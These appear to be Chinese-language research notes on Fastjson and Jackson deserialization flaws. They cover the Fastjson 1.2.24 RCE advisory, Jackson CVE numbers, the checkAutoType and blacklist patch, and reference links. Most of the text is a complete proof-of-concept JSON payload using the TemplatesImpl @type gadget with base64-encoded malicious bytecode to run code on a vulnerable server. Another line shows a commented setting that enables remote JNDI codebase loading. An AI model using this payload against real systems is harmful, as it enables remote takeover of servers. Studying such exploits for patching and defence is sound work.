Fastjson简史
- 2017年3月15日fastjson官方发布安全公告表示fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。
Jackson简史
- CVE-2017-7525:123
- CVE-2017-15095:123
1.2.24 - POC与修复
//该字段在fastjson1.2.22版本引入,这么一说的话就是poc只能在1.2.22和1.2.24版本区间起作用
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMUG9jOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQ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AAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
1.2.24 - 补丁原理
- 在ParserConfig.java中添加了checkAutoType,不论用户是否开启了autoTypeSupport功能,在类名被加载时都需要通过额外的一层处理(来判断是否在acceptlist里),只有满足了此限制的类名才会被加载。另外引入了黑名单机制,在开启了autoTypeSupport的情况下,如果加载的是黑名单中类也会抛出异常。
注意
//JDK 8u121以后版本需要设置改系统变量
//System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//阿里云安全组默认拒绝80/443端口以外的其他端口
参考资料
- http://xxlegend.com/2018/01/25/2017%E5%B9%B4%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%B9%B4%E5%BA%A6%E6%8A%A5%E5%91%8A/
- https://github.com/vulhub/vulhub/tree/master/fastjson/vuln
- https://www.freebuf.com/vuls/178012.html
- http://blog.nsfocus.net/analysis-protection-fastjson-remote-code-execution-vulnerability/
- https://www.alphabot.com/security/blog/
- https://www.iswin.org/
- https://github.com/Ruil1n/deserialize-test/blob/5c2c463937d9310fc51e1088f4bbd025943038fb/src/main/java/cn/rui0/fastjson/poc/victim/SomeFastjsonApp.java